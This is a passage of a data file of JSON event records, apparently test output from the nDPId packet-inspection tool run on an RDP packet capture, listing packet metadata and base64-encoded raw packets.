btt6y8QU+Ru\/6q7P600F1Ky6trSmIfFu0avqHtAnhlpQnnqe5pdOm6RvAmUDwiHPtDWkkC1KGi6NLb\/6BLPHaQg0pYKR5u4Z7Qb8rYFLOr1t6vpI1JWwNNWx5IQIPyYg3J+gJzpJYG9ofcA6FT9l+QtSrTlPNS25n6wTw6OC7HK7KIYHwtcflU\/lbQ8WhGdYSgzerMfk\/qcgGfgShqmlYSq1z\/B5oJKzkLBnB8XrPBJZuY02KDAoj6kBk9eZ5oZibGCBIDLQoUuk\/Pap8xx6JPrqhCqkq5juXlJ+nn7BU9gty0BmLXhtDg7\/YeBuOt+jkrm21B66QNJNLRUKuSiwRiJAgFnyl+bUZp8nEoB++EA5l3\/qYZ4\/mlNAZqueOyYiuflW9l4rzzquk8tnDeqYLdpjg4CdYb5Thv1xBGXp2S45ePD7rw0Lk3aWg\/l7y2UJq5OqmGFS5VzTMf\/VeBmSb52bHFhDJKRzyk3a0prGgPBgG1bFahAosrJjPVyH3Scx0W6zSqUq31BAZGCe7o4dwLpnfAp8OQlsI1kjE386rEPvQI2TUiAYlGE2ebtSOMIM5Yww4b\/KWyO13X0phBpXVPKu2L0Ph3TRx1dZB4HWHTYnZg2oMaP6vYEiIHAx0xJaq4jHnH7KPpr40e"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1789,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00864{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1790,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":772377,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjRkAAfwYlD8CoAo6sEAK5DT3NDkehbsz5vSCWUBj26lUmAAAs26s2vAef4s3JdK9Kdl0dvb96tarmWA108kKfQfR9sKdoPFQdI0Wtxtxp8oV6+YPbdb08DFQDyywHUEdAKc92qfKxsVlvFNtu3IHce6a\/IfB54FwZnr9ueKiGuv4\/e0C+ac0qUgNmEjyO5PKs5rOPtsgqmSrmiaKv39q2LVlpgs25Bm+zOkLR3XhhhKS\/cnTFWqzx5n2AD5HURa\/9VlYWWS37kaC8ddmLzEzWL1mb+GGq9odbjP67bDVPrT8wrQBkL7SRJqVyH6hxboPmXKst1A6hzO6q9DhC4WpuvqTxF57T5rmuqV4qxiaKHbPFPlAiUTcF3\/BiC5jNSsFbe6aEjXkqu6NNRRuub2pPd2zPmVEGVaVA8tWdwifFaO2nfdfZH+Q+HRIRRloZosyVB9zhIZRRtTGc+VJcCexw\/zqyOH1zRKMofG6fWA3vPzgSF2IpfcdoHfll8bMLHMY9g0Moli8t3CSe9ne2rZG8QGG19ezPCymBE\/HgTFOT"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1790,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1791,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":772417,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9IXpHoXBHUBAf9HB0AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1791,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02071{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1792,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":772544,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjR0AAfwYhkMCoAo6sEAK5DT3NDkehcEf5vSCWUBD26mkzAAAXAwMGbwAAAAAAAAJJ+LUcWwP2Uomd9aRuClypOSRBFIgfQXyGnistkLmNZ7\/ZhCSVIVqUyFa9fyiwZPM1VavO4T5jGeP22AtbadzVnbC6aOhZu0TCTr28hzZ+VrHgkm\/65e4hzfWczxCuApZCkmgkAdZarsuxdKzWTDh28bv7eft5HL2PGB6nlF4fh2n5F4MNB++3t9XcHy11JnIMWhZ4UJw4G4uw74WnwD4fkE8Szy0YB2gEEgFVJxsp9\/dP6\/nOT7d7DGwb9\/+mn1I25pCOXo45DKQ2onMx\/qhB+qWk+xySc4EtQyHcRvseBKChODKTNciNViUIVbsaI7fEDFbIxR4gnTK4Q49nKD2TWO6UDSX+a4\/9+NyW3nZDjyCPHA4zn5WErsij3R1XqrlSLwJPmHhu0NA82ndOy1lIuFJI73thx\/FEnRq4cSAbnr5E2cxKjUPeeF5dcpChk4BfeaDzOzSuGwrhLNM0wZasXpFQ612iyAHnVk0ZB9GsAZ8O8S+korJMnN\/5+n9Jnew809H3rG9lil3vsUDQu\/s0GakckiA9FWGWd86GOMBSqAAXrrnBzeTTfBKJhGcgf0yZDpELtrTw4LozkU5Xgi1VzvcJGhjrwWI5OHQN8KIaCvQn28EDaTtPTOW4sUevgywmMCOeCvfmGWhQfS12NObIrIofrUfaWqEmAn7685g8PJu5JQkwsW8ok0Xj1umd6WedbUue8MGL+OQQucu4LUGWDNFtI84NfMPVD54OHqrmuefdLrPAAAQjnxRWLRoCeu00mdQfBjwgQJeOFwjcovl38a9A+fcf3Wrr+N+rviJiCZLADbF9OIbWkca6VjUV8oCfSJlkg0wSnJQ1EVvHc9j8XFCnRvD0yfQm5A1maG\/X54M29Ghmxf+zIhDRqg8+ENxQpTwvwP3xDYFmTNgpq2b9aHtiptQsIfng0aYLeLZzjUQ+FWRQDhwFwGdJmhDUvvR5r63G4e+MqW19CUglf6vhhxNcdZuZtxOO0OriFJm8etREpSVWlQ2XUEsBtptXRUKcfvdhTMcpW88UPhag3lrnT\/58kmOFe9fCbvSVymyXUYHgfI7+b6QmeyK8y1Wv5NG7RkifFWZ+iIhL5107FUGiz29NZYx7zSdnTJEYnnqNWjaU5K9OLfOpdLi5ffu2rD1li9IGjmJd5RDNeNe4jOfnccBFSA1eZTYCxE\/gk6P8WJmZwDT9TxdnNLVmQ2FNduDOwk5KT\/ZpZe0JtVMpEY6ScaygqRmd834A1jgYkD\/OpXGpOk4TjyHtdb3zHSYdDOIu+qRDCWcqDrRjhxeSxUidMOhV5Nce1mpBffRSLsF\/ra+XLKBiLEYi7IVAYMI46yhxQhmAVN1XFhE46TTOwZKyOfDROGSdPP8sDQGy+RBFZ+jiScoTIeShuJ1ATABv1BR3snnlUQXw7sOVRvoL48WygWVZ\/OlHh2z4nIZi4rHyJNPGRvOBEG17xiMCzb3Kvdj386UqC\/0vxa76eqFYWLrqQ8KwOyDjmEG9xnJPlG2V7ZRz2UYqv2eBAmPZpYjKHjKvSlO\/Vw5ZrzHMhRwLoDjA1Y7UO8zynwxrKHcYQLD89aFaXS2kfCIpEe0Qo4s092Lse99iQT2MVxwatr8LEscI6SNFRLANjB5IuoznCyd7Yc964BFjGWQm9\/vPsDKhTSep9al5dEJd5+tCXdtn"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1792,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00862{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1793,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":772758,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjSEAAfwYlDcCoAo6sEAK5DT3NDkehdUD5vSCWUBj26uaNAADXs0rEfJicTvWJuqI8QH6bLwT5G1+m4IdN5dwLKWA0x0+jZ0DekmaPqSuK05DSCJl51iQAn4246CoZ8ER16gSyV6gdCP9BhT8QCH3ZZ36PwXM4PPJkrlPcEXI8J4bwcwcU02yjytlkVmEQD3+ZRsPZhm+L1f9H4GRsC4DZALce\/qoxkSkVxCQAfbCxdQofry8l51j6M13IqlhwSoC89ESmwqpm7jSHngOGCho93akcIuXY1ZRHrnt\/AAIfeOPjeXv4q8JrMMp\/ZX9lBLlDZ5FeMJWNLd8fYli1D\/jA5gKAZ6FsAYSPeK7kfQ4vB24kncmoGsl2OyGBBQ5Z9eKA8+rfqcaEG2NNfDmGSEw9LbvPth+7C68Sc7VCBpiXGJPBMLrufRDRDlgeuRwYK+N9lnxBQQalIv40iviVpQaA14ZtJMeJbJomje6nkKJBCvwbbyJVDw3HrBxi+gU5xUUR3tyTnLKUtYjfNMly5RqsbiDPmoVpsTIwwOTNgC\/Q"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1793,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1794,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":772781,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1jSUAAfwYmUsCoAo6sEAK5DT3NDkehdrv5vSCWUBj26iZAAAAXAwMAMAAAAAAAAAJKHTz3+2eY6kEVep\/3tw+8s0BbR+TtBMK6sCZ6UiIsy1za1d4Dcq9fBw=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1794,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1795,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":772831,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9IXpHoXa7UBAf9GoAAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1795,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1796,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":772907,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1jSkAAfwYmUcCoAo6sEAK5DT3NDkehdvD5vSCWUBj26hejAAAXAwMAMAAAAAAAAAJLtQrQNCn7y8Mc6GGynj41LRS90IOyi\/0yZvJ2eDx9AuELnZ2Ee1YvoQ=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1796,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1797,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":772969,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9IXpHoXbwUBAf8mnNAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1797,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02076{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1798,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":773094,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjS0AAfwYhjMCoAo6sEAK5DT3NDkehdyX5vSCWUBD26ja6AAAXAwMGbwAAAAAAAAJMqOiUVqUZ\/7f\/pDGqrWgKwSVX15BWK81T6XsxhIVPk2IXxj32UWWTSmRLOgi94a8dKx11t72+KhKdSugZ8mTBid58Z9it6x8wmu9WnjSpmd8IkZ6HlpCp8JOjHFwZQ8lsjsxCoVd8RiWLozPPhppuwou0nvWtvY3TpbJcD5hFkG3glrNtYUnvheg6fNT4boK2KMLtFkpC6XlJs+FUdCj1IOaPc8jWtI0jCF494RmXOFduSwV7rsQYu4mP8cUV8Y9GPkos4onyGjseSCHDD5MsCtOtXvn8GlyCVymSNqRNMOydexhlxs\/NFCMe+xjw28ZS7wHi71CGTB6dQV2El2dx+1TGMMm180YtasdkMNHjcT89DMSAi2c8zfgLckEZ8bYCUYtB+5ADDfQiQ3WVrILdarBHR+TlRalytpsEeg4l6ckZEamkklKoZO2QnY8xBg24aN1Vrnmnzbee0dzkb2ACfor5vMSqNzpVtT3imRC28e+DK+mDWUqygjM8hFcmoQH8wMLujtr1HZoNUf+vlLIe6UGLuDclzv6+gUL30\/GcA0kgp+HKC00SGrmD\/bKwVhwCvDhWQSA336Dm4IIN6ZRv7cpctUdufDEXgquackUgWXOEtTseSoE6w+4rB7ItQv\/UNtXEQ6UfdVVgeTIRm4D1GnaaeyqsU5gr+ya2yuPbqZqH\/GTFLpucMaH50I3aFJWmzic\/E1mi33ZJ0j1b30FmhS1nAXwiBteyUZALXSqtfwz+z4MfW3yFmY\/OyHjpCnAoU+5\/5RBHBXKziE6rYZ49\/DVuQ0\/IHzg4eaB2cK\/MTL6UoShih5Vvw5qULZMuu7lDy6ChqqhjQSvQapbh9Dm5Bh+s2tgt+GfSzYyKw7Sjlpq9QJ5UtyH+HIU+xT43w8GOIEqt7DIg9CV9WdZg5Taes3UOuJqrwCo2rmEgYCRmFq1gvPtgJ3mmPOLYhHwmUfqZOZuKMKAk7msqSwbch\/cJmDtNydb8MGW9JvI+GKcrz0+CJT5GFEN6fk4LMWPBDmpnqN+QwyOGWj3vUDFIfU7T9ATG3mFzjhuUYrNTbSTJLFsdvtVRaqsQ8s4u+RRnoSY\/5UmAM0X4CBNSz6GS8WCSuxi8tsqz5tzbB3pb2xi1wf74BrO\/6P81Q89taq9C4yrG25FtHe6t3RLyP98sI4vxFe2+7kDmAAv9KV9L9XNsE59ougxvk0kV+WPbqj5G9V7tVDsqaGz9woLaBIzpTdpVW93UVA7xi\/YSFWQfCtifGImGtRGB+uXdIkZO3pE5VTe\/y+XrY6eQaVxvB+2I3uFFM7qFrEV7uFxdp8ZPs61n6\/TDm\/jm+i3G6Pqk\/kRo9NRojlVRQ+nrqZSVxNUGG7ruhKIqT8f32\/Ldtuf8hs5qE0IqpoIYx52Fux5JIzfN1AQgmIwu8MllBgep1IMQN92LILH3vEc1R1h3pML32Yq+OzIQeyy4MKWNntcEXJuQELazl1\/lx\/42vnFO+dWwCNyqym4WZT1DlQas3XzPQJP3jeY+oUxqz+vb7twcZsxpMuBY6Oc1qL3odB65u39R9QhKmGybmPoeUcp12WLlx+V9EoMbmNE09gkA7\/wEtxY3u21hRk5oVOdo4FinQDaCaYYVnOZe5ffMFOhWiMBCATGPm0EpLYGzQyHqAE6zNs8NCPkn7ZiQlkpBnKsY2GkD"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1798,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1799,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":773125,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9IXpHoXclUBAf\/mmMAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1799,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00863{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1800,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":773410,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjTEAAfwYlCcCoAo6sEAK5DT3NDkehfB75vSCWUBj26pqBAABSWycyhoeISJbJp17nr\/Q\/z+T0pTaC8BByOcjCBVEV98WmmGBYPdw1pw+UZwVyscDLraglpXDuPOZwP9kbsVJjv2Dyu6Vi\/6pFO\/GhOU1Y8H2jQ5pDaEvtkxPj4Yc9Hujk0PgSE0RqPVjh0DbiQml9sr0NBcHQz5XmtCTIfTsEEYZ55L8x+ei+bcpvuJ7VF6osAbF5w+5Wm3t1rXtTqpCjwfIW1JC0FDLd3RpwW5MAaY53BRzDfZzDsjeJ5qMbmaR6ngfhOOzjNzL8u2prIvcXYPn\/8yZXxC4E1tmjcUMHYLGJtquskQ9ITXorddNRO7qM6jNjGhydZvHqH20uuZsKq2kDBHq1yO6E82ApJUl4vtl9JrkJ3S10hnL2J1W3VVGVZrjg\/ZWmF2BL0kb6VG5gIHuzfRSPU0uNOaSdHBxxVrEQtavSYIeaftTZCet+YhcBEPV+8jiCH7mdaR0ykkzcBgYMBKtmAUbBNgYGBPwdG6RygUZU5hlmM8yE"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1800,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1801,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":773482,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9IXpHoX2ZUBAf9GMiAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1801,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02079{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1802,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":773524,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjTUAAfwYhisCoAo6sEAK5DT3NDkehfZn5vSCWUBD26klVAAAXAwMGbwAAAAAAAAJN9qyg5g+\/1gIfFz1iakye0k9XPLK2tg3T79\/irA04oZs6TYit2ask7o4TtEOx7C+h2us\/zIt1E68OBTZ+KbkzuyNQPTG2eQFYZSiGXXohSfGd4FEr6JEo\/dOb4LPqKx5fRPFYGGWSQs3erRCSxCEqk7DWKN2t8mLqcK+cZAM\/BL6Yx2c9BzRu2sKmFYHbG43T9nOKCFkJ9DRVaLQHbCvlMuQqeEGNslCMKP3NrI6UgHkn5UUzbv\/x62\/DYKF6cYB4E+4SaY+6I5Vkxh4JFkQzOsCp\/ey4AhIJeBbMarocWX7E2l3y8PlYbYs87sEL3jvv\/Nl0P4uMrYUD4DisGAWYyWD8jd3zQEmWmOF18NdQ2zUFadjieMEU2VNdruQ61tVGr2twBPCDsh4c70tAnqlxo+Xh434kmVfOcqzWIg2ic86rKHzOwZrjxyenUEYGq+CGbraVAxD1CGEcTLh4bGi1bMZBcjgSDpEYsxSW2ZKDP4Gh3et2xGdp1+MDGD\/Asap25iQmAe6qkQBNz3\/7xuCsU6\/hCQG\/MbMC+gVWmzZfJ9BOst+AK0jy+6ZVK9zyiYDLByRhZNpRxb+aFz3HHaoPZyQBBwIAPtYy751c8k39BvGLMlVRHzElF3UeUb8kX+r83rKVa5JRe7ysxUvahfO9LmPbm1i50zMK65BHTYTalB3Da4v\/8DPBmGrBj4dx2Ud9XgNrA887c++UMKuhDoZlasDgLNdwCTp+o10rYB1Nc\/F+Vn66kPH+ormVdBb90O4PrhREdOmI1CYABoCDxdoZKvK2sYcodJs34sgwZ0MNbdb\/+F3AZFyW8WQsT4YziN1Cnxj4N09QMvQ8Zbw3YmRn70nl5+N+OumsohSgZ47uBWFnrVfzRT5TSv5FprJ06mfb4lWmw2hV0kELJQW6GBIdkrTtBGTRTIgQ4axU8btYLSuQcX7VGixgIjbTg6G4efyRLUYlZfYzC\/xJNQgMSAPAkpaJS1IEBIJfSxfmrtKJ8QSN7RNKDdEUltPBcslxyRZ1PaCwYEea3xtWQkMy1XZP077ajzd26USW5yarjeTWMyglELD5T3P1aLYUzNnXequl0o6NZ8vwgXg46k9\/ZIcGvvUv2Cep7cgQ+bzBV\/1P5uSjBMFD9pZLDftgGBwae5rDsxTpalEVftdpLzn8HdNav1Xy2aTudAll\/VclWnR4nEey6b6ujgb+63LYKWXvLHw2zy0u3sAW9RidaJ20M2Wc5vkhPkrWe+3zva8JripC7Vgfw0CVoUsqKkO4y\/Gg\/NcNzMZUttW\/nvQT5plyv7XvGP6Aqjliiperf+fnWFUPn1pTAvHENVpajlra\/ERMAtspstCawC1EEvWhHhJ8GNYpH86pnKlglK5Zn43Pwf6C9CTJAQXadGjdAJXDtLqZVW5jnz65uNwUyKDuAgqWkY\/rSk5uGdai4j98yKkZEpHd2rWYSUAYo4hAhETmrdFQAJvrQ+VY5Ywpy1qogspwNB1xy1Rb5JIw83d9ScKbsi1jmDbI6oZvdYnQw4lyLLQfUyLc\/hAHOlJUnKDjtcq1BgrUva2IMte0EYIhDqVTlNW04On2GBdnvsouiSAm9ohh9cnC\/57rqzOiJeEq2YwnZzBVKlaqmZBChpSSteSIOPjVlWg9u\/kAowASDiwRtOoLr+7jvUb6us7UJe2lJ78Z"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1802,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00866{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1803,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":773989,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjTkAAfwYlB8CoAo6sEAK5DT3NDkehgpL5vSCWUBj26oo9AAC1RRGS8jfuPripr\/OhTVxw8\/BqcPpGqNZQixSf0kdlqYsMBRkdwonF+26hVOHqm\/fSEWjJ0lIvKoE5wwsKSZ62sseKGa\/7uKWOOBctIv6cN2RgRWHbT1tdkNKIWNm0BAWpiCMTgnUWBAxiQygIyE6Qh2OhIadwInLz9sZ4xEIJsQQT2yLv7PO3i9ZNSm8AlBdO1nd1WeKs3arJlvqemyyfWEpcWVTpob4HbPIb4cwyX45OFhXbUpEVtNIE0gTda1cmpYuTd+mf6yI7dQHfTqaUcuEiV1ufgs09hxiQ3Hjd3wEv9MBk5PX0QmehiN0NhV48deBmY+vYSX93f\/xHRjA6ijP7XmIVI9g9kKtupOoWNRWqMo47knyAeWk7+poumEaJOV0K2uWm7Wv1+HRKq\/CI0rdGaj3kX\/Nj43O7C3BNLwiuyGIwGu1X1uGdQHoetQ\/UhRVgi3fiveUvq5yAiGI0gmO1Q+lP9QHRS0xVoOuIvgFGu5XvF6BbU\/xL"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1803,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1804,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":774033,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9IXpHoYQNUBAf9FyuAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1804,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02084{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1805,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":774043,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjT0AAfwYhiMCoAo6sEAK5DT3NDkehhA35vSCWUBD26hkVAAAXAwMGbwAAAAAAAAJOYmwfX5AZW+VKnxY5VeJjbDPxnLg7nlwFJe8lrRnzBrXeoUPiF5qbQwRNCAXrixq+Q4qi2senaQ3n1Szwu01Jb2kiR8zCuPAE5+PmhFvG1HtMkJ\/sMoAfwtTN5ifSxdSyMVrV4mG0ROBxFcQyd2wunIZM2X+IdwavTmV6C9soHlN2w0PSpNXdVba83j\/XV\/LTxpZRjY3m+\/pqpQtD+dFQZ9oAsC758msPQtjeinst9ml1slLkKCbjC8TcB1+9FP7q6nbo2z\/K+RxdHIb+BvNjZKsc9yM9ol7de\/MtG\/sDEG9dV7SX8nQaqR8WSLhTcZr0q\/LIbdeYZEvZFS9IJYzI\/xSTVYJgffRoTqpz5+m1LfglS+I5ZcsyioN+6Nt6sMxqH9JwGujd1SHCKXueKjhikOxTScTYh+vX3hTw4r91sm4z8xw25wPxyohZQPhAhMdCU2xhsTDl5TLJf1AV6edYnS\/l\/LYFEJiQP+zew+jMGER3onmTnQDDW4XtmWAh84\/Y22iYbVmlKBZd2eOABzeme+vCzpGzqnLbWNfxPLLXQ6HTScnrPonqXNAdA0bTuL52sBxB7HKoGoLu36hfu6GWmzX28Ws0XzU+r+Se8X+P8B4axsfhbG6hoeKJoQ3zLmoAv2GIPXPrKl63pm+wLVDI2k\/JdtOGm+h8XU8\/\/Yge1QxNB0eOUkNOioWartiA1AGyhn9PY3puktHIgHXL8jVDg\/dVg\/BNLIyKUMtkpfGleZvTIYbSN1aBVljV4bhnbbOgrBEnkM94ZncmBGUwgjPBt1uFOKt6B87Uiio06nQ0rRaaFUHHNgxEQYlpAgCsVti8oqThAcvgqxSShoRjMbg6+wzw\/TVdOvwkSYiwtCooP9hfmaDsTQFd8HrNUPYWffQXB\/J1GErNsnoF\/EMvT+N214uSE6D72xA538HTwDNEe41LdpkfK6c+B6LJhwRu8Vf33CzKetd7\/KwaSF4ZFYokJ8FQ3hVSpvmIfdO7+mbWBSN6OTIyE\/WwOrfPBXKq4PN4DgSEWMBNiuAzOM9jq8D0e1fl3i8fkUrMvokNeOIuyqRM\/z+QdpcwZsCojsyYl1pAsdLmSQITwKM7L2J1MqmMBiFp8M3Jc6dkDY15g1ipXhE1R429sHHL5arRLdVc6c8ANcBVgU4JEx301MuIlejef0EPQyNJfcg1I4KNJalQ6tGJJinlJKrP+M0+GNDzd6mWeZIJKrEelLTY7pf3CJd9taW+xlb8fC3uYeiz5VYE4H4wnbY\/TCHXHx8cRFeEbdgVdkk+8RTbioKfRQXbOfD5\/1HgYiLqSjhNGAfKxW+91d5uuAefAf+YPDCxxiZGw7aravrigJOKKRfSlbh0bIbTcD9M28+Xp9+TktZKiTAB0DOK44X8Cv67sIuUVOP3w3umkH0oQUDkCXZYc4n73P8anVs3EbE5rW\/or59BDF8t\/\/U6tEVfy\/XJRj4FC8wDDM+\/OMm+gEnJPYyVKQrTE4vNALqzPvW2dqGi42ZfnCNiJvP\/hG9gp5pTtY5FXPxZ3m0TUVjxMiXpDfoFTRpUtHzctwtyEb3GhOnZwB0\/cYztuEBv4MifVGTXBLYBH7fDFu8Z9D+n1x6c95QN4tj3DZfzhxq7jA35YwzxZgJyTB\/PeBBhNWfKWRKMWtm1GfJXnbxzz5s4vJ61SYdMr6Ji"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1805,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} 